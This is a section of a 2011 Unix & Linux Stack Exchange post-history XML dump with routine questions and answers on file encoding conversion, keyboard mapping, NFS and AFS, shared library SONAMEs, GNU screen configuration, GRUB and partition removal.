  <row Id="24857" PostHistoryTypeId="5" PostId="10243" RevisionGUID="565a7b51-5bb8-47ca-8969-0b4a64b2f11a" CreationDate="2011-03-30T22:13:07.050" UserId="885" Comment="give correct attribution for sponge (thanks imz)" Text="This isn't working because `iconv` first creates the output file (since the file already exists, it truncates it), then starts reading its input file (which is now empty). Most programs behave this way.&#xD;&#xA;&#xD;&#xA;Create a new, temporary file for the output, then move it into place.&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 -o &quot;$file.new&quot; &quot;$file&quot; &amp;&amp;&#xD;&#xA;        mv -f &quot;$file.new&quot; &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;[Colin Watson's `sponge` utility](http://riva.ucam.org/~cjwatson/blog/2006/02/06#2006-02-06-sponge) (included in [Joey Hess's moreutils](http://kitenet.net/~joey/code/moreutils/)) automates this:&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 &quot;$file&quot; | sponge &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="24858" PostHistoryTypeId="25" PostId="10333" RevisionGUID="26baf510-885c-4025-9ed2-47e7683d814f" CreationDate="2011-03-31T00:00:20.947" Comment="http://twitter.com/#!/StackUnix/status/53245205482180608" />
  <row Id="24859" PostHistoryTypeId="2" PostId="10336" RevisionGUID="0f59c15b-ad60-4521-bf2a-3a138f0f5119" CreationDate="2011-03-31T02:55:53.703" UserId="6167" Text="Modern Xorg uses the XKB extension for supporting keyboard layouts.  Xmodmap is emulated through a compatibility layer, but it has quirks.  You can disable XKB entirely and Xorg will revert to using the old Xmodmap keyboard mappings.  I think it's setting the option XkbDisable to true in xorg.conf, but you probably want to do it the XKB method.  There are many configurable options located in /usr/share/X11/xkb/rules/xorg.xml and I think you want caps:swapescape which swaps Caps Lock and Escape.  Try setxkbmap -option caps:swapescape" />
  <row Id="24860" PostHistoryTypeId="25" PostId="10323" RevisionGUID="e1b1139a-be3a-423c-9de5-809f3a81bd96" CreationDate="2011-03-31T03:00:20.917" Comment="http://twitter.com/#!/StackUnix/status/53290503881494529" />
  <row Id="24861" PostHistoryTypeId="2" PostId="10337" RevisionGUID="40554f23-3f2e-49b1-85d2-202d3c7ac475" CreationDate="2011-03-31T03:11:11.757" UserId="6167" Text="This doesn't exactly answer your question, but I'd advise against using rsnapshot over NFS.  You are negating the primary benefit of rsync which is the ability to transfer a small amount of data over the network to detect large portions of identical data.  Rsync is designed to run over ssh where it can invoke an rsync server of the other side of the connection and communicate with it via it's own optimized protocol that uses a rolling checksum to identify identical data.  When rsync is run over NFS and it thinks the file might be different due to timestamps or size, it must download the entire file over NFS even if it's only a small change since it has no way of querying the remote side for checksums across the data." />
  <row Id="24862" PostHistoryTypeId="2" PostId="10338" RevisionGUID="ddd9fdf4-fa06-49d3-a5b7-ff2ee500f8f6" CreationDate="2011-03-31T03:28:19.370" UserId="6167" Text="libNAME.so is the filename used by the compiler/linker when first looking for a library specified by -lNAME.  Inside a shared library file is a field called the SONAME.  This field is set when the library itself is first linked into a shared object (so) by the build process.  This SONAME is actually what a linker stores in an executable depending on that shared object is linked with it.  Normally the SONAME is in the form of libNAME.so.MAJOR and is changed anytime the library becomes incompatible with existing executables linked to it and both major versions of the library can be kept installed as needed (though only one will be pointed to for development as libNAME.so)  Also, to support easily upgrading between minor versions of a library, libNAME.so.MAJOR is normally a link to a file like libNAME.so.MAJOR.MINOR.  A new minor version can be installed and once completed, the link to the old minor version is bumped to point to the new minor version immediately upgrading all new executions to use the upgraded library.  Also, see my answer to http://unix.stackexchange.com/questions/5719/linux-gnu-gcc-ld-version-scripts-and-the-elf-binary-format-how-does-it-work/10317#10317" />
  <row Id="24864" PostHistoryTypeId="2" PostId="10340" RevisionGUID="88591c10-7982-41ee-ad8b-961402916953" CreationDate="2011-03-31T05:14:20.370" UserId="6167" Text="I turn off the status bar, myself, because that's not a pratical way to manage screen with 40+ windows.  Using Ctrl-A + &quot; will open a list of all screens.  You can name individual windows with Ctrl-A + A.  I also use a customized .screenrc that, among other things, shows the Shell Title message in the Window listing.&#xD;&#xA;&#xD;&#xA;    # terminfo and termcap for nice 256 color terminal&#xD;&#xA;    # allow bold colors - necessary for some reason&#xD;&#xA;    attrcolor b &quot;.I&quot;&#xD;&#xA;    # tell screen how to set colors. AB = background, AF=foreground&#xD;&#xA;    #termcapinfo xterm 'ti=\E[?1049h:te=\E[?1049l'&#xD;&#xA;    #termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm:hs:ts=\E]2;:fs=\007:ds=\E]2;screen\007'&#xD;&#xA;    termcapinfo xterm* 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm:hs:ts=\E]2;:fs=\007:ds=\E]2;screen\007:ti=\E[?1049h:te=\E[?1049l:XT'&#xD;&#xA;    termcapinfo screen* 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm:hs:ts=\E]2;:fs=\E\\:ds=\E]2;screen\E\\:ti=\E[?1049h:te=\E[?1049l:XT'&#xD;&#xA;    # erase background with current bg color&#xD;&#xA;    defbce &quot;on&quot;&#xD;&#xA;    altscreen on&#xD;&#xA;    #hardstatus on&#xD;&#xA;    defscrollback 2000&#xD;&#xA;    multiuser on&#xD;&#xA;    &#xD;&#xA;    hardstatus string &quot;[%n%?: %t%?] %h&quot;&#xD;&#xA;    windowlist string &quot;%3n %t   %h%=%f&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24865" PostHistoryTypeId="25" PostId="10331" RevisionGUID="5525e0ea-0774-4d59-b298-29d928e0549a" CreationDate="2011-03-31T06:00:20.633" Comment="http://twitter.com/#!/StackUnix/status/53335800963801088" />
  <row Id="24866" PostHistoryTypeId="2" PostId="10341" RevisionGUID="fe30bd11-9178-4f0b-8afb-d84567b3b019" CreationDate="2011-03-31T06:05:13.750" UserId="6167" Text="As an alternative to an awk one-liner, you can store an awk script to a file.  Here is a slightly more sophisticated version of the script:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/awk -f&#xD;&#xA;    &#xD;&#xA;    # No section seen yet.&#xD;&#xA;    BEGIN { section=&quot;&quot; }&#xD;&#xA;    &#xD;&#xA;    # Match and save current section header.&#xD;&#xA;    /^\[.*\]$/ {&#xD;&#xA;            section=$0;&#xD;&#xA;            next;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Ignore blank and comment-only lines.&#xD;&#xA;    /^[[:space:]]*(#.*)?$/ {&#xD;&#xA;            next;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # By default do this.&#xD;&#xA;    {&#xD;&#xA;            # Print section header if not already printed.&#xD;&#xA;            #if(length(section)) {&#xD;&#xA;            if(section != &quot;&quot;) {&#xD;&#xA;                    print section;&#xD;&#xA;                    section=&quot;&quot;;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            # And print current line.&#xD;&#xA;            print;&#xD;&#xA;    }&#xD;&#xA;Just save it to a file like conf-filter.awk and mark it executable with chmod +x conf-filter.awk." />
  <row Id="24867" PostHistoryTypeId="2" PostId="10342" RevisionGUID="579f91e8-a5cd-4d28-9685-62aa6c4296ee" CreationDate="2011-03-31T06:05:23.683" UserId="6106" Text="You can check the online version of Unix Epoch: [Epoch Converter][1]. You can get the current Epoch value and also convert time back to epoch&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.epochconverter.com/" />
  <row Id="24868" PostHistoryTypeId="2" PostId="10343" RevisionGUID="70d93080-1e90-4b9b-9a15-a9abab92e318" CreationDate="2011-03-31T06:06:51.753" UserId="6116" Text="My computer g4 1.5 ghz PowerBook ppc&#xD;&#xA;&#xD;&#xA;I need to use this computer to make a yaboot partition on a USB stick.&#xD;&#xA;&#xD;&#xA;Here is documentation for making a yaboot partition with a Linux machine:&#xD;&#xA;&lt;http://penguinppc.org/bootloaders/yaboot/doc/yaboot-howto.shtml/index.en.shtml&gt;&#xD;&#xA;&#xD;&#xA;but how do I do this with Mac OS 10.5?" />
  <row Id="24869" PostHistoryTypeId="1" PostId="10343" RevisionGUID="70d93080-1e90-4b9b-9a15-a9abab92e318" CreationDate="2011-03-31T06:06:51.753" UserId="6116" Text="How to create yaboot partition using a ppc Mac" />
  <row Id="24870" PostHistoryTypeId="3" PostId="10343" RevisionGUID="70d93080-1e90-4b9b-9a15-a9abab92e318" CreationDate="2011-03-31T06:06:51.753" UserId="6116" Text="éosxàébootöloaderàéliveöusbà" />
  <row Id="24871" PostHistoryTypeId="2" PostId="10344" RevisionGUID="a37ff315-e65c-4efb-8ed4-be4cfdb839df" CreationDate="2011-03-31T06:26:49.877" UserId="6167" Text="Worse case, try removing your existing gnome configuration and see if it fixes it.  Preferably do this from a shell when not logged into Gnome:&#xD;&#xA;&#xD;&#xA;    mkdir gnome-backup&#xD;&#xA;    mv .gnome2 gnome-backup&#xD;&#xA;    mv .gnome2_private gnome-backup&#xD;&#xA;&#xD;&#xA;And log back in to Gnome.  If this fixes it, you can either accept it or restore your configuration and dig deeper for a solution.&#xD;&#xA;&#xD;&#xA;    rm -rf .gnome2 .gnome2_private&#xD;&#xA;    cp -a gnome-backup/.gnome2 gnome-backup/.gnome2_private .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24872" PostHistoryTypeId="2" PostId="10345" RevisionGUID="3d4eab5c-8bed-4a07-b466-1e33d167843b" CreationDate="2011-03-31T06:35:03.023" UserId="6167" Text="Most likely it's pulse that's not set-up correctly.  speaker-test is a handy utility here.  If pulse is your default audio device then all audio programs including speaker-test will go through it for audio.  Try adding default-sample-channels = 6 to /etc/pulse/daemon.conf to tell pulse to use 5.1 audio.  speaker-test -c6 will test all 6 channels individually.  If you want to test your sound card directly instead of going through pulse you may need to add -D hw:0,0 to speaker-test." />
  <row Id="24873" PostHistoryTypeId="2" PostId="10346" RevisionGUID="e41402d5-7a70-4da4-8bf9-d63b4f3f5ff9" CreationDate="2011-03-31T06:39:52.097" UserId="6167" Text="Was operating system are you using?&#xD;&#xA;&#xD;&#xA;I'm going to assume Linux.  Try something like this:&#xD;&#xA;&#xD;&#xA;    ls *.c *.h */*.c */*.h | xargs svn cl source&#xD;&#xA;&#xD;&#xA;This will add all C and header files in the current and immediate subdirectories to the changelist source.  The above command may have trouble with whitespace in filenames.  For something more sophisticated, try this on for size:&#xD;&#xA;&#xD;&#xA;    find . -name .svn -type d -prune -o -type f -print0 | xargs -0 svn cl source&#xD;&#xA;&#xD;&#xA;This will add all normal files not located under .svn directories to the changelist source.  This also works with whitespace in filenames.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24874" PostHistoryTypeId="2" PostId="10347" RevisionGUID="7189351e-5ff6-4fe5-845c-5aaf74cd2b14" CreationDate="2011-03-31T06:45:28.053" UserId="5923" Text="To keep only lines with text, I would personally use `grep .` instead." />
  <row Id="24875" PostHistoryTypeId="2" PostId="10348" RevisionGUID="6854a5c6-2971-45ff-8bae-a2aad632f0da" CreationDate="2011-03-31T06:54:44.660" UserId="6148" Text="Some possible log files to explore: (found a Ubuntu system, but I would hope that they're present on most Linux/Unix systems)&#xD;&#xA;&#xD;&#xA;    /var/log/debug&#xD;&#xA;    /var/log/syslog (will be pretty full and may be harder to browse)&#xD;&#xA;    /var/log/user.log&#xD;&#xA;    /var/log/kern.log&#xD;&#xA;    /var/log/boot&#xD;&#xA;&#xD;&#xA;Again, these log files are present on a Ubuntu system, so filenames may be different. The `tail` command is your friend. " />
  <row Id="24876" PostHistoryTypeId="2" PostId="10349" RevisionGUID="e591857d-7310-43b1-8148-2f804a8dff7b" CreationDate="2011-03-31T07:03:01.750" UserId="4815" Text="Hi, &#xD;&#xA;&#xD;&#xA;I am having an issue which I am unable to diagnose. I am unable to access outside the local network from the command line. Strangely, ftp works from the command line. But ping, links, traceroute, wget or other utilities are unable to connect. The network works fine from graphical browsers like firefox. We have a network proxy at the workplace which I set using environment variables http_proxy and so on. Any ideas on how could I diagnose this?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="24877" PostHistoryTypeId="1" PostId="10349" RevisionGUID="e591857d-7310-43b1-8148-2f804a8dff7b" CreationDate="2011-03-31T07:03:01.750" UserId="4815" Text="Cannot access network on the command line in Ubuntu 10.04" />
  <row Id="24878" PostHistoryTypeId="3" PostId="10349" RevisionGUID="e591857d-7310-43b1-8148-2f804a8dff7b" CreationDate="2011-03-31T07:03:01.750" UserId="4815" Text="écommandölineàénetworkingàéproxyà" />
  <row Id="24879" PostHistoryTypeId="2" PostId="10350" RevisionGUID="f9c01b69-0056-42af-bca5-96ce224f4099" CreationDate="2011-03-31T07:17:55.457" UserId="5536" Text="Will we still be able to use Compiz?" />
  <row Id="24880" PostHistoryTypeId="1" PostId="10350" RevisionGUID="f9c01b69-0056-42af-bca5-96ce224f4099" CreationDate="2011-03-31T07:17:55.457" UserId="5536" Text="Will there be third party compositing with Gnome 3, or will it be limited?" />
  <row Id="24881" PostHistoryTypeId="3" PostId="10350" RevisionGUID="f9c01b69-0056-42af-bca5-96ce224f4099" CreationDate="2011-03-31T07:17:55.457" UserId="5536" Text="égnomeàécompizàécompositeà" />
  <row Id="24882" PostHistoryTypeId="2" PostId="10351" RevisionGUID="b07a0deb-bcfd-4288-a0f9-7e788eece8aa" CreationDate="2011-03-31T07:35:53.860" UserId="6184" Text="Hi.&#xD;&#xA;&#xD;&#xA;Try the following commands:&#xD;&#xA;&#xD;&#xA;Display list of last reboot entries:&#xD;&#xA;last reboot | less&#xD;&#xA;&#xD;&#xA;Display list of last shutdown entries:&#xD;&#xA;last -x | less&#xD;&#xA;&#xD;&#xA;or more precisely:&#xD;&#xA;last -x | grep shutdown | less&#xD;&#xA;&#xD;&#xA;You won't know who did it however. If you want to know who did it, you will need to add a bit of code which means you'll know next time.&#xD;&#xA;&#xD;&#xA;I've found this resource online. It might be useful to you:&#xD;&#xA;&#xD;&#xA;[How to find out who or what halted my system][1]&#xD;&#xA;&#xD;&#xA;Nico&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aplawrence.com/SCOFAQ/FAQ_scotec1haltcatch.html" />
  <row Id="24883" PostHistoryTypeId="2" PostId="10352" RevisionGUID="f338f75d-a158-4550-9220-d9cfc48a8088" CreationDate="2011-03-31T07:43:25.757" UserId="5495" Text="I want to read the source code of a GFileInfo function:&#xD;&#xA;g_file_info_get_content_type ( GFileInfo *info );&#xD;&#xA;&#xD;&#xA;Could somebody tell me where to find the source code file? I search the glibc code by didn't found the functions. &#xD;&#xA;&#xD;&#xA;These function are introduced in this link: http://library.gnome.org/devel//gio/2.26/GFileInfo.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24884" PostHistoryTypeId="1" PostId="10352" RevisionGUID="f338f75d-a158-4550-9220-d9cfc48a8088" CreationDate="2011-03-31T07:43:25.757" UserId="5495" Text="Where can I find the source code of &quot;GFileInfo&quot; functions like &quot;g_file_info_get_content_type&quot;?" />
  <row Id="24885" PostHistoryTypeId="3" PostId="10352" RevisionGUID="f338f75d-a158-4550-9220-d9cfc48a8088" CreationDate="2011-03-31T07:43:25.757" UserId="5495" Text="élinuxàéglibcà" />
  <row Id="24886" PostHistoryTypeId="2" PostId="10353" RevisionGUID="c5754b2c-a1fc-4276-a519-0db73917bcfd" CreationDate="2011-03-31T08:17:11.327" UserId="5495" Text="Where can I find the source code of libgio.so?&#xD;&#xA;I want to study how its GFileInfo components works.&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;Amanda&#xD;&#xA;" />
  <row Id="24887" PostHistoryTypeId="1" PostId="10353" RevisionGUID="c5754b2c-a1fc-4276-a519-0db73917bcfd" CreationDate="2011-03-31T08:17:11.327" UserId="5495" Text="Where can I find the source code of libgio?" />
  <row Id="24888" PostHistoryTypeId="3" PostId="10353" RevisionGUID="c5754b2c-a1fc-4276-a519-0db73917bcfd" CreationDate="2011-03-31T08:17:11.327" UserId="5495" Text="élinuxàéglibcà" />
  <row Id="24889" PostHistoryTypeId="2" PostId="10354" RevisionGUID="b05402ba-ae77-4700-aeef-3ed50946c5b7" CreationDate="2011-03-31T08:40:51.103" UserId="6151" Text="In a way yes: You will be able to switch away from all the fancy new stuff and just use the gnome-panels like you did with Gnome 2. In this mode it should not be too difficult to replace the WM.&#xD;&#xA;&#xD;&#xA;However, in standard, fancy mode you will only be able to use Mutter aka Metacity 3.&#xD;&#xA;&#xD;&#xA;Gnome 3 is just too different, it uses lots and lots of composite effects to provide the overlay, animations and a new concept of workspace." />
  <row Id="24890" PostHistoryTypeId="2" PostId="10355" RevisionGUID="f5e2bcef-8124-4f5e-8d45-710084d48e69" CreationDate="2011-03-31T08:58:16.143" UserId="4069" Text="I wanted to create a user on my server to use as a private repository. I'd like the files to be encrypted. Encfs will timeout after minutes of inactivity so i was wondering. Is there a way to have git ssh in, run certain commands to mount the encrypted folder, do what it needs then unmount it?&#xD;&#xA;&#xD;&#xA;One thought is the password should not be on my server HD so i should either have it locally or a script on my server should create it based on the password i enter when logging in.&#xD;&#xA;&#xD;&#xA;Maybe there is a better solution?&#xD;&#xA;" />
  <row Id="24891" PostHistoryTypeId="1" PostId="10355" RevisionGUID="f5e2bcef-8124-4f5e-8d45-710084d48e69" CreationDate="2011-03-31T08:58:16.143" UserId="4069" Text="git and remote security with Encfs" />
  <row Id="24892" PostHistoryTypeId="3" PostId="10355" RevisionGUID="f5e2bcef-8124-4f5e-8d45-710084d48e69" CreationDate="2011-03-31T08:58:16.143" UserId="4069" Text="ésecurityàégità" />
  <row Id="24893" PostHistoryTypeId="25" PostId="10353" RevisionGUID="6da17fb2-cbb1-412c-b5ee-0ee659130de1" CreationDate="2011-03-31T09:00:20.683" Comment="http://twitter.com/#!/StackUnix/status/53381099828678656" />
  <row Id="24894" PostHistoryTypeId="2" PostId="10356" RevisionGUID="1bb357fb-b239-4f78-ac32-d3e7df5a8bdb" CreationDate="2011-03-31T09:16:21.900" UserId="6167" Text="Try chainloading the version of GRUB Ubuntu ships with instead of using the same GRUB from SuSE:&#xD;&#xA;&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;        root (hd0,4)&#xD;&#xA;        chainloader +1&#xD;&#xA;&#xD;&#xA;This way Ubuntu will manage it's own GRUB configuration and kernel upgrades on it's own partition." />
  <row Id="24895" PostHistoryTypeId="2" PostId="10357" RevisionGUID="f8b889fe-cc5a-4bfc-b4f1-d6ed897e0e61" CreationDate="2011-03-31T09:27:28.380" UserId="6167" Text="I don't have a complete howto, but first look up Samba's docs on setting up a Domain Member and joining it to the domain.  At some point you will run a command like &quot;net ads join -U Administrator&quot;  You must have a smb.conf file with security = ads and workgroup = domain.local.  You will probably also need the MIT Kerberos packages installed at some point.  Once Samba on the workstation has successfully joined ADS, you can set up PAM and NSS modules to use Samba for login and user listing.  I think it's pam_winbind and nss_winbind you will need installed, but not 100% sure.  Take a look at the Samba HOW-TO about domain membership: http://samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.html  Hope this helps!" />
  <row Id="24896" PostHistoryTypeId="2" PostId="10358" RevisionGUID="8d33dd5a-e537-4290-912a-c1e9e5b137d3" CreationDate="2011-03-31T09:34:37.003" UserId="6186" Text="try to use &quot;baud_rate 115200&quot; parameter for setserial" />
  <row Id="24897" PostHistoryTypeId="2" PostId="10359" RevisionGUID="61d55d17-0a00-43c6-8103-eed4d0478432" CreationDate="2011-03-31T10:01:11.427" UserId="6187" Text="If you've got Python installed then you can run this:&#xD;&#xA;&#xD;&#xA;    python -c &quot;import time; print time.time() / 60&quot;&#xD;&#xA;" />
  <row Id="24898" PostHistoryTypeId="2" PostId="10360" RevisionGUID="39200aad-4c36-4950-ae30-f39c88e081e2" CreationDate="2011-03-31T10:35:48.893" UserId="5666" Text="I can not give you a specific answer for opensuse, but there should be a similar process for most distros.&#xD;&#xA;&#xD;&#xA;In the debian way (without going too deep in details)&#xD;&#xA;&#xD;&#xA; 1. Initrd images are built with `update-initramfs` (from initramfs-tools package).  &#xD;&#xA;  - Most of the times initrd images are good for any normal system, since the boxes are diskless, the only thing that absolutely needs to work during initrd stage is the network and nfs. If some system needs certain modules to use their NIC, they must be specified in `/etc/initramfs-tools/modules` before running `update-initrams`.&#xD;&#xA;  - The default image has nfs support and the only thing needed is to add `root=/dev/nfs nfsroot=x.x.x.x:/exportedfs dhcp` in your pxe config's APPEND line.&#xD;&#xA;&#xD;&#xA; 2. In the server side, the exported directory should be a working jailed environment, that would make very easy to upgrade or install software or change configuration. In the client side, `/tmp` can simply be a tmpfs. For `/var` there's a couple of options.&#xD;&#xA;  - Either mount some subdirectories as tmpfs, like `/var/run`, `/var/log` `/var/tmp` etc.&#xD;&#xA;  - Or mount a tmpfs somewhere and then use unionfs/aufs to merge it with `/var`. This way, the system will be able to write or change any file under `/var` but it won't be persistent.&#xD;&#xA;&#xD;&#xA; You will probably need aufs for `/etc/` as well, you'll need a script that will run early in the boot process and setup some per client stuff, like getting the hostname based on the ip and recreating `/etc/hosts` and `/etc/hostname`.&#xD;&#xA;&#xD;&#xA; 3. `/home` folder should also be nfs exported and mounted rw. NIS or LDAP or AD or something similar to manage user accounts (and/or configuration files), will help you keep the mess a bit.&#xD;&#xA;&#xD;&#xA;I should note that I never did aufs over nfs, in the past I had some problems with unionfs over network shares. Some of the stuff above is theoretical and it was very long ago when I had a few diskless systems of my own." />
  <row Id="24899" PostHistoryTypeId="2" PostId="10361" RevisionGUID="2aabcb5b-04b4-42e3-93f6-94b16b3e7baa" CreationDate="2011-03-31T10:42:31.063" UserId="6167" Text="I'm using AFS, NFSv3, NFSv4, and CIFS currently.  CIFS is primarily for supporting Windows clients and I find it less suitable for UNIX/Linux clients since it requires a separate mount and connection for each user accessing the share.  Users can share the same mount point, but they will be seen as the same user on the server-side of the connection.&#xD;&#xA;&#xD;&#xA;NFSv3 is primarily used by directories being exported to other UNIX/Linux servers since it's stable and simple to deal with.  With both AFS and NFSv4 I am using Kerberos.  Using NFSv4 on Ubuntu 8.04 and older I found it a bit unstable, but it has steadily improved and I have no stability issues with 10.04+.  It does appear to be a performance bottleneck to use sec=krb5p so I tend to use sec=krb5i or sec=krb5.&#xD;&#xA;&#xD;&#xA;One issue I have is how Kerberos tickets are handled with Linux's NFSv4 layer.  A daemon periodically scans /tmp for files beginning with krb5cc_ and matches the ticket up with the file owner.  If a user has more than one ticket they own under /tmp, it will use whichever ticket file is found first when scanning.  I've accidentally changed my identity when temporarily acquiring a ticket for other purposes.  AFS stores tickets in Kernel-space and are associated with a login session normally.  I can login twice as the same Linux user, but still use different AFS credentials on each login without interference.  I also have to explicitly load credentials into the kernel which normally happens automatically during login.  I can safely switch tickets in userspace without interfering with file permissions.&#xD;&#xA;&#xD;&#xA;Overall, I like many of the ideas of AFS better than NFSv3/4, but it does have quite a bit smaller of a community developing it compared to NFS and CIFS.  It's also properly known as OpenAFS, AFS is the name of IBM's closed-source offering.  A big difference between AFS and NFS is that AFS is more consistent in it's network protocol and support.  AFS does provide locking in-band instead of using a side-band protocol like NFSv3.  It also offers a more sophisticated ACL system in-between POSIX ACLs and NFSv4/NTFS/CIFS ACLs.  This, unlike the POSIX ACL addition to NFSv3, is a standard part of it's protocol and both Windows and UNIX/Linux clients can access and modify them.  It also doesn't suffer from the 16 group limit that many NFSv3 servers have.  This makes AFS appear more consistent in my mind across Windows and UNIX systems.  Also, since AFS is only accessible via it's network protocol, there aren't issues where the actual underlying filesystem behaves slightly differently from the exported view of it.  For example, in Linux, a file may have MAC or SELinux labels controlling access or other extended attributes that aren't visible over NFS.  AFS, on the other hand just doesn't have extended attributes." />
  <row Id="24900" PostHistoryTypeId="2" PostId="10362" RevisionGUID="e1247ab4-7d3b-4c0b-b9af-558fa88317ab" CreationDate="2011-03-31T10:48:08.937" UserId="1875" Text="In `ps xf`&#xD;&#xA;&#xD;&#xA;    26395 pts/78   Ss     0:00  \_ bash&#xD;&#xA;    27016 pts/78   Sl+    0:04  |   \_ unicorn_rails master -c config/unicorn.rb                                           &#xD;&#xA;    27042 pts/78   Sl+    0:00  |       \_ unicorn_rails worker[0] -c config/unicorn.rb                                        &#xD;&#xA;&#xD;&#xA;In `htop`, it shows up like:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/1elU4.png&#xD;&#xA;&#xD;&#xA;Why does htop show more process than ps?" />
  <row Id="24901" PostHistoryTypeId="1" PostId="10362" RevisionGUID="e1247ab4-7d3b-4c0b-b9af-558fa88317ab" CreationDate="2011-03-31T10:48:08.937" UserId="1875" Text="Why does `htop` show more process than `ps`" />
  <row Id="24902" PostHistoryTypeId="3" PostId="10362" RevisionGUID="e1247ab4-7d3b-4c0b-b9af-558fa88317ab" CreationDate="2011-03-31T10:48:08.937" UserId="1875" Text="éprocessàétopàépsà" />
  <row Id="24903" PostHistoryTypeId="2" PostId="10363" RevisionGUID="ea4fce82-4064-4986-a63c-44fffae2ff90" CreationDate="2011-03-31T10:54:14.987" UserId="5282" Text="The [gio git repository](http://git.gnome.org/browse/gio/tree/gio)" />
  <row Id="24904" PostHistoryTypeId="2" PostId="10364" RevisionGUID="def0952f-abec-4a37-9651-b3d315287f46" CreationDate="2011-03-31T11:17:50.470" UserId="6167" Text="The vim manual may be a better and more up-to-date than that old Ex manual.  Most likely, you will be using ex that comes with vim on most modern Linux distributions.  To get help in Vim use :help, to get help on a specific command like the Ex command ~, use :help :~.  All Ex commands are preceded with a : in Vim.  I think (.,.) is simply used to denote a range may be specified as in 2,8 to mean lines 2 through 8 or 1,$ ($ represents last line) for every line in a file.  In Vim, typing :1,$~ means run the Ex command ~ on every line in the file.&#xD;&#xA;&#xD;&#xA;1. Vim say :~ is &quot;Repeat last substitute with same substitute string but with last used search pattern.&quot;  A substitution is normally written as :s/pattern/string/  This looks for a pattern on a line and replaces it with string.  :~ repeats last substitute command, but uses the most recent search for pattern.&#xD;&#xA;&#xD;&#xA;2. Try this pattern: /\&amp;lt;h.\*s\&amp;gt;&#xD;&#xA;&#xD;&#xA;/ is used to start a search in Ex/Vim, \&amp;lt; means match start of word, h matches h, .\* where . matches any single character and \* repeats that zero or more times so .\* means match zero or more characters.  s matches s, \\&gt; matches end of word.&#xD;&#xA;&#xD;&#xA;3. Try this pattern /words\?$&#xD;&#xA;&#xD;&#xA;$ means end of line when used in a pattern match, and \\? means previous character is optional.  This will match word or words at the end of a line." />
  <row Id="24905" PostHistoryTypeId="2" PostId="10365" RevisionGUID="e3d6685c-ddff-460c-ab14-61233db1e273" CreationDate="2011-03-31T11:34:37.540" UserId="688" Text="I got a partition that is probably created by dd, and is about 200MB on a 4GB USB stick. I am failing to delete it using GParted (the option is greyed on the right-click menu).&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/1h3Vt.png&#xD;&#xA;  [2]: http://i.imgur.com/Axbqm.png" />
  <row Id="24906" PostHistoryTypeId="1" PostId="10365" RevisionGUID="e3d6685c-ddff-460c-ab14-61233db1e273" CreationDate="2011-03-31T11:34:37.540" UserId="688" Text="I am failing to delete a partition on a USB drive/stick" />
  <row Id="24907" PostHistoryTypeId="3" PostId="10365" RevisionGUID="e3d6685c-ddff-460c-ab14-61233db1e273" CreationDate="2011-03-31T11:34:37.540" UserId="688" Text="épartitionàéusbödriveà" />
  <row Id="24908" PostHistoryTypeId="2" PostId="10366" RevisionGUID="1170b161-65f0-40d7-87c9-079a4abd6883" CreationDate="2011-03-31T11:44:40.790" UserId="6103" Text="Open a terminal &#xD;&#xA;&#xD;&#xA;    steve@mcr-pc-29334:~$ sudo fdisk  /dev/sdb&#xD;&#xA;    &#xD;&#xA;    WARNING: DOS-compatible mode is deprecated. It's strongly recommended to&#xD;&#xA;             switch off the mode (command 'c') and change display units to&#xD;&#xA;             sectors (command 'u').&#xD;&#xA;    &#xD;&#xA;    Command (m for help): d                   &#xD;&#xA;    Selected partition 1&#xD;&#xA;    &#xD;&#xA;    Command (m for help): w&#xD;&#xA;    The partition table has been altered!&#xD;&#xA;    &#xD;&#xA;    Calling ioctl() to re-read partition table.&#xD;&#xA;    &#xD;&#xA;    WARNING: Re-reading the partition table failed with error 16: Device or resource busy.&#xD;&#xA;    The kernel still uses the old table. The new table will be used at&#xD;&#xA;    the next reboot or after you run partprobe(8) or kpartx(8)&#xD;&#xA;    Syncing disks.&#xD;&#xA;    steve@mcr-pc-29334:~$ &#xD;&#xA;&#xD;&#xA;so sudo fdisk /dev/sdb&#xD;&#xA;&#xD;&#xA;then press d&#xD;&#xA;&#xD;&#xA;to delete the partition if its the only one there it will auto select otherwise it will prompt for partition number&#xD;&#xA;&#xD;&#xA;then press w&#xD;&#xA;to write the changes to the disk&#xD;&#xA;&#xD;&#xA;done :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24909" PostHistoryTypeId="2" PostId="10367" RevisionGUID="41dbe8b9-e55e-4ca2-be9d-cd150e8ab901" CreationDate="2011-03-31T11:48:50.427" UserId="5785" Text="Try unmounting it from commandline: `umount /dev/sdb1`.&#xD;&#xA;&#xD;&#xA;If you cannot delete it in any way, create a similar partition in a loopback device and `dd` it to that stick.&#xD;&#xA;&#xD;&#xA;Then, you must install the programs to create a FAT32 partition again." />
